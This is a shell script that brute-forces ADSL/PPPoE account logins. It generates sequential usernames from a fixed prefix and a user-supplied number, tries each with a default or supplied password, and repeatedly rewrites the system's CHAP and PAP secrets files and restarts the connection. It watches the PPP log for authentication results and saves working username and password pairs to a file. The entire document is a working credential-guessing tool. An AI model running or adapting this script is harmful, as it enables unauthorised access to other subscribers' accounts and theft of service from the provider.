#!/bin/sh
#Copyright (C) Dong Pu <cocobearc@gmail.com>
#Copyright (C) WANG Cong <xiyou.wangcong@gmail.com>
#GPL v2 applies.

if (($#  <1)) ; then
	echo "Wrong usage!"
	echo "$0 Number [pass]"
	exit 1
fi
header=111000
tailer=0
median=$1
pass1=111111
pass2=$2
zero=0
UP=/sbin/ifup
DOWN=/sbin/ifdown
ETHDOWN="/sbin/ifconfig eth0 down"
ETHUP="/sbin/ifconfig eth0 up"
PPPNAME=cnc
CHAP=/etc/ppp/chap-secrets
PAP=/etc/ppp/pap-secrets
IFCFG=/etc/sysconfig/network-scripts/ifcfg-cnc
LOG=/var/log/ppp.bug
STOP=/sbin/adsl-stop
PPPD=pppd
while (($tailer <= 99)); do
	stailer=$tailer
	if (($tailer <= 9)); then
		stailer="$zero$tailer"
	fi
	user="$header$median$stailer"
	if [ -z $2 ];then
		pass=$pass1
	else 
		pass=$pass2
	fi
	REPLACE="\"$user\"\t\"$PPPNAME\"\t\"$pass\"\n\"$user\"\t*\t\"$pass\""
	sed '$d' $IFCFG > $IFCFG.tmp
	echo "USER=$user" >> $IFCFG.tmp
	mv $IFCFG.tmp $IFCFG
	echo -n '' > $CHAP 
	echo -e $REPLACE > $CHAP
	echo -n '' > $PAP
	echo -e $REPLACE > $PAP
	echo -n '' > $LOG
	$DOWN $PPPNAME
	$STOP $IFCFG
	$ETHDOWN
	$ETHUP
	$UP $PPPNAME >/dev/null 2>&1  
	state=1
	while [ $state = 1 ];do
		sleep 1
		cat $LOG |grep 'CHAP authentication failed' 
		state=$?
		let "counter+=1"
		if (($counter > 4));then
			break
		fi
	done
	cat $LOG |grep 'CHAP authentication succeeded'
	ret=$?
	if (($state == 0));then
		echo "$user+$pass failed!"
	else
		if (($ret == 0));then
			$ETHDOWN
			echo "Success:$user---$pass" >> success
			sleep 20
			$ETHUP
		else 
			$ETHDOWN 
			echo -e "Too many process!\n Waiting pppd pppoe down...\n"
			sleep 20
			$ETHUP
			/sbin/ifconfig eth0
		fi
	fi
	let "tailer+=1"
done
exit 0